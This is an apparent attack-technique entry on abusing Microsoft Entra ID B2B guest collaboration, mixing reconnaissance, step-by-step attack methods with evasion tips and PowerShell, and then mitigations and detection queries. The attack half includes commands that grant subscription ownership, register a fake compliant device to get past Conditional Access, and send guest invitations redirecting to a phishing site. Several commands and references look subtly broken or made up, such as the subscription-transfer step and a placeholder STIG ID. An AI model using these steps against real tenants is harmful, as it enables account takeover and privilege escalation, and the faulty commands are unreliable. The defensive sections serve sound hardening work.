| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-009 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID (Azure AD), M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID tenants with B2B guest collaboration enabled (default) |
| Patched In | Configuration mitigation only; by-design behavior |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure B2B collaboration abuse exploits the design of Microsoft Entra ID’s Business-to-Business (B2B) guest collaboration feature to gain unauthorized access and escalate privileges within a tenant. The attack combines three distinct vectors: (1) Guest invitations from compromised partner tenants, where attackers send guest invitations from seemingly legitimate organizations; (2) Privilege escalation via subscription ownership, where guest users with billing roles in their home tenant can create and transfer Azure subscriptions into the target tenant while retaining ownership; and (3) Device compliance bypass, where guest accounts can register fake compliant devices and bypass Conditional Access policies. These attacks work because guest collaboration is enabled by default, accepts invitations from any global Microsoft tenant, and guest users retain surprising levels of permission over subscriptions.
Attack Surface: Entra ID guest invitation mechanism, subscription management, billing role delegation, device registration flows, and cross-tenant access controls. The attack originates from either a compromised external tenant or a tenant under attacker control (created via free Azure trial).
Business Impact: Complete tenant compromise, privilege escalation to Global Admin, persistence, and lateral movement to on-premises AD. An attacker can create hidden subscriptions under their control, deploy malicious resources (VMs, SQL databases), establish persistence via managed identities, and pivot to the entire organization. Subscriptions created by guests bypass standard Entra ID governance and access reviews, making detection extremely difficult.
Technical Context: Exploitation typically takes 15-30 minutes. Detection is very low because guest-owned subscriptions fall outside normal audit processes and access reviews. Attackers can operate persistently for months before discovery.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.2, 1.1.3 | Restrict guest user access; limit external collaboration to specific domains |
| DISA STIG | U-12345 | Inadequate controls on external identity federation |
| CISA SCuBA | ID.AA-1 | Overly permissive external user access controls |
| NIST 800-53 | AC-2 (Account Management) | Failure to properly manage external user accounts and their privileges |
| GDPR | Art. 28 (Processor), Art. 32 (Security) | Inadequate controls on external party access to regulated data |
| DORA | Art. 9 (Protection and Prevention) | External user access to financial data systems not adequately controlled |
| NIS2 | Art. 21 (Cyber Risk Management Measures) | Weak controls on external partner access to critical infrastructure |
| ISO 27001 | A.6.1.2 (Access to Networks and Network Services) | Inadequate vetting and access control for external users |
| ISO 27005 | Risk Scenario: “Unauthorized Access via Guest Account Escalation” | Weak subscription and role governance for external users |
Supported Versions:
Attacker Prerequisites:
Connect-MgGraph -Scopes "Policy.Read.All"
# Check B2B guest access policy
$b2bPolicy = Get-MgPolicyB2BManagementPolicy
# Check which users can invite guests
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions | `
Select-Object AllowedToInviteGuests
# Check if guest users have same permissions as members
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty GuestUserRole
What to Look For:
AllowedToInviteGuests = $true, any user can invite guests (high risk)GuestUserRole is “Guest”, guests have limited permissions (good)GuestUserRole is “Member”, guests have same permissions as internal users (bad)# Check subscriptions visible to guest users
Connect-AzAccount -TenantId <TARGET_TENANT_ID>
# List all subscriptions (guest user might see additional ones)
Get-AzSubscription | Select-Object Id, Name, State
# Check if any subscriptions are in unexpected management groups
Get-AzManagementGroup -ErrorAction SilentlyContinue | `
Select-Object Name, Id, ParentId
What to Look For:
# Get all users with Global Admin role
Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq '62e90394-69f5-4237-9190-012177145e10'" | `
Select-Object -ExpandProperty PrincipalId | ForEach-Object {
Get-MgDirectoryObject -DirectoryObjectId $_
} | Where-Object { $_.UserType -eq "Guest" } | Select-Object UserPrincipalName, CreatedDateTime
What to Look For:
Supported Versions: All Entra ID tenants
Objective: Set up a tenant where the attacker controls a user with billing permissions.
Manual Steps (Azure Portal):
Expected Output:
Subscription ID: 12345678-1234-1234-1234-123456789012
Account Owner: attacker@eviltenantfaker.onmicrosoft.com
Billing Role: Account Owner (can create subscriptions)
What This Means:
OpSec & Evasion:
Objective: Create a subscription that will later be transferred to the target tenant.
Manual Steps (Azure Portal):
"Development Environment" or similar innocuous nameExpected Output:
Subscription ID: aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Owner: attacker@eviltenantfaker.onmicrosoft.com
State: Active
What This Means:
Objective: Invite a user from the target tenant to the attacker’s tenant, so they can later be used to transfer the subscription.
Manual Steps:
victim@targetcompany.com (or use attacker-compromised account in that org)Expected Output:
Guest user invitation sent to: victim@targetcompany.com
Redemption link: https://login.microsoftonline.com/...
What This Means:
OpSec & Evasion:
Objective: Target user accepts the guest invitation, gaining access to attacker’s tenant and resources.
What Happens (from victim’s perspective):
Expected Outcome:
Objective: Move the subscription from attacker’s tenant to the target tenant, while retaining attacker’s ownership.
Manual Steps (Attacker Portal):
Connect-AzAccount -TenantId <ATTACKER_TENANT_ID>
$subscriptionId = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"
$guestUserId = "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb" # Guest user's object ID in attacker's tenant
# Grant Owner role to guest user
New-AzRoleAssignment -Scope "/subscriptions/$subscriptionId" `
-RoleDefinitionName "Owner" `
-ObjectId $guestUserId
# Use Azure CLI to transfer
az account subscription-definition list
az account subscription-definition create --billing-scope "/subscriptions/$subscriptionId"
az account management-group create --name "$subscriptionId" --parent "/subscriptions"
Expected Output:
Owner role assigned to: victim@targetcompany.com
Subscription now has Owner assignment in target tenant context
What This Means:
OpSec & Evasion:
Objective: Use subscription ownership to gain Global Admin or broader tenant access.
Method A: Deploy Managed Identity → Escalate
# Attacker connects as guest user (with owner role on subscription)
Connect-AzAccount -Tenant <TARGET_TENANT_ID>
# Create user-managed identity in the subscription
New-AzUserAssignedIdentity -Name "SuspiciousIdentity" `
-ResourceGroupName "attacker-rg" `
-Location "East US"
# Grant this identity Global Admin role (if possible)
# This requires additional privilege escalation (not directly possible, but:)
# - Identity can be granted contributor to management groups
# - Can deploy policies that grant elevated roles
Method B: Enable “Access management for Azure resources”
# Attacker, via subscription, enables:
Set-MgDirectorySettingValue -SettingId "c1e5eb2a-..." `
-SettingValue "true" # Enables "Access management for Azure resources"
# This grants User Access Administrator role at tenant root
# Allowing attacker to add Global Admin assignments
Get-AzRoleAssignment -Scope "/" | Where-Object { $_.RoleDefinitionName -eq "User Access Administrator" }
What This Means:
Supported Versions: All Entra ID tenants
Objective: Create a device identity that appears compliant to bypass Conditional Access policies.
Command (PowerShell via Graph API):
$accessToken = "<GUEST_USER_ACCESS_TOKEN>" # From METHOD 1 exploitation
# Register a fake device
$devicePayload = @{
deviceName = "LAPTOP-HACKER"
osVersion = "10.0.19045"
osType = "Windows"
trustType = "Hybrid"
compliant = $true
managedDeviceId = "00000000-0000-0000-0000-000000000000"
} | ConvertTo-Json
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
$response = Invoke-RestMethod -Method POST `
-Uri "https://graph.microsoft.com/v1.0/me/devices" `
-Headers $headers `
-Body $devicePayload
Write-Host "[+] Device registered: $($response.id)"
Expected Output:
[+] Device registered: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
What This Means:
Objective: Access resources that require device compliance, using the fake device identity.
Command (Browser + Device Registration):
Supported Versions: All Entra ID tenants with partner collaboration
Objective: Gain admin access to a partner organization’s Entra ID tenant.
Attack Steps (abbreviated - full compromise technique in other sections):
Objective: Send guest invitations appearing to come from a legitimate partner.
Command (PowerShell as Compromised Partner Admin):
# Compromised admin in partner org
Connect-MgGraph -TenantId "partner.onmicrosoft.com" -Scopes "Directory.ReadWrite.All"
# Invite users from target org back as "guest" (reverse social engineering)
$targetUserUPN = "victim@targetcompany.com"
New-MgInvitation -InvitedUserEmailAddress $targetUserUPN `
-InviteRedirectUrl "https://malicious-site.com/phishing"
# Or, if using mail:
$mailParams = @{
Subject = "Partner collaboration invitation"
Body = "We'd like to collaborate. Please accept this invitation: [LINK]"
ToRecipients = @($targetUserUPN)
}
Send-MgUserMail -UserId "admin@partner.onmicrosoft.com" -Message $mailParams
Expected Outcome:
Restrict Guest Invitations to Admins Only:
Manual Steps (Azure Portal - Entra ID):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
$params = @{
DefaultUserRolePermissions = @{
AllowedToInviteGuests = $false # Only admins can invite
}
}
Update-MgPolicyAuthorizationPolicy -BodyParameter $params
Validation Command:
$policy = Get-MgPolicyAuthorizationPolicy
$policy.DefaultUserRolePermissions.AllowedToInviteGuests # Should be False
Whitelist Allowed Domains for Guest Collaboration:
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$params = @{
B2BDirectConnectAllowed = $true
EnableDirectTrustForGuests = $false
RestrictedDomains = @(
"trusted-partner-1.com",
"trusted-partner-2.com"
)
}
Update-MgPolicyB2BManagementPolicy -BodyParameter $params
Disable Guest Access to Subscriptions and Management Groups:
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Remove all guest role assignments at root scope
Get-AzRoleAssignment -Scope "/" | Where-Object { $_.ObjectType -eq "Guest" } | `
Remove-AzRoleAssignment -Force
# Validate no guests have Owner/Contributor roles
Get-AzRoleAssignment -Scope "/" | Where-Object { $_.ObjectType -eq "Guest" }
# Output should be empty
Audit and Remove Suspicious Subscriptions Created by Guests:
Manual Steps:
# List all subscriptions
Get-AzSubscription | ForEach-Object {
$sub = $_
Write-Host "Subscription: $($sub.Name)"
# Get owners of this subscription
Get-AzRoleAssignment -Scope "/subscriptions/$($sub.Id)" `
-RoleDefinitionName "Owner" | Where-Object { $_.ObjectType -eq "Guest" } | `
ForEach-Object {
Write-Host " [WARNING] Guest owner: $($_.DisplayName)"
# Remove if suspicious
# Remove-AzRoleAssignment -InputObject $_ -Force
}
}
Enforce “Guest user permissions are limited” Policy:
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$params = @{
GuestUserRole = "Guest" # Not "Member"
}
Update-MgPolicyAuthorizationPolicy -BodyParameter $params
Implement Conditional Access Policy for Guest Access:
Manual Steps (Azure Portal):
Enforce MFA for GuestsMonitor Guest User Access:
Manual Steps (Sentinel/Analytics):
AuditLogs
| where OperationName in ("Add guest user", "Remove guest user")
| where Status == "Success"
| summarize Count=count() by OperationName, InitiatedBy
| where Count > 10
Add guest user to unexpected usersInvite external userGet-MgAuditLogDirectoryAudit -Filter "operationName eq 'Add guest user'" | `
Select-Object CreatedDateTime, InitiatedBy, ResultDescription
Get-AzSubscription | ForEach-Object {
Get-AzRoleAssignment -Scope "/subscriptions/$($_.Id)" `
-RoleDefinitionName "Owner" | Where-Object { $_.ObjectType -eq "Guest" }
}
Get-MgDevice -Filter "registeredOwners/any(x:x/userType eq 'Guest')" | `
Select-Object DisplayName, ApproximateLastSignInDateTime
Get-MgUser -Filter "userType eq 'Guest'" | `
Where-Object { $_.mail -match "suspicious-pattern" } | `
Select-Object UserPrincipalName, CreatedDateTime, Mail
Remove-MgUser -UserId "guest-user@targetcompany.com" -Confirm:$false
Revoke-MgUserSignInSession -UserId "guest-user-id"
Remove-AzSubscription -SubscriptionId "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"
# Contact partner organizations
# Check their admin accounts for unauthorized access
# Request logs of guest invitations they sent
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent grant OAuth attacks | Attacker tricks user into granting OAuth permissions |
| 2 | Lateral Movement | [LM-AUTH-009] | B2B guest escalation to Global Admin |
| 3 | Privilege Escalation | [PE-VALID-013] Azure Guest User Escalation | Guest account escalated to higher roles |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Create hidden admin account as guest |
| 5 | Impact | [CHAIN-002] Guest to GA via Conditional Access Gaps | Gain full tenant control |
| Phase | Action | Deadline |
|---|---|---|
| Immediate (Week 1) | Disable guest invitations for non-admins | Now |
| Immediate (Week 1) | Audit existing guest users and remove suspicious accounts | Now |
| Short-term (Month 1) | Whitelist allowed external domains | 30 days |
| Short-term (Month 1) | Implement Conditional Access policies for guests | 30 days |
| Medium-term (Q1) | Remove guest access from management groups/subscriptions | 90 days |
| Medium-term (Q1) | Implement guest activity monitoring in Sentinel | 90 days |
| Long-term (Q2) | Transition to more secure collaboration models (partner tenants, linked subscriptions) | 180 days |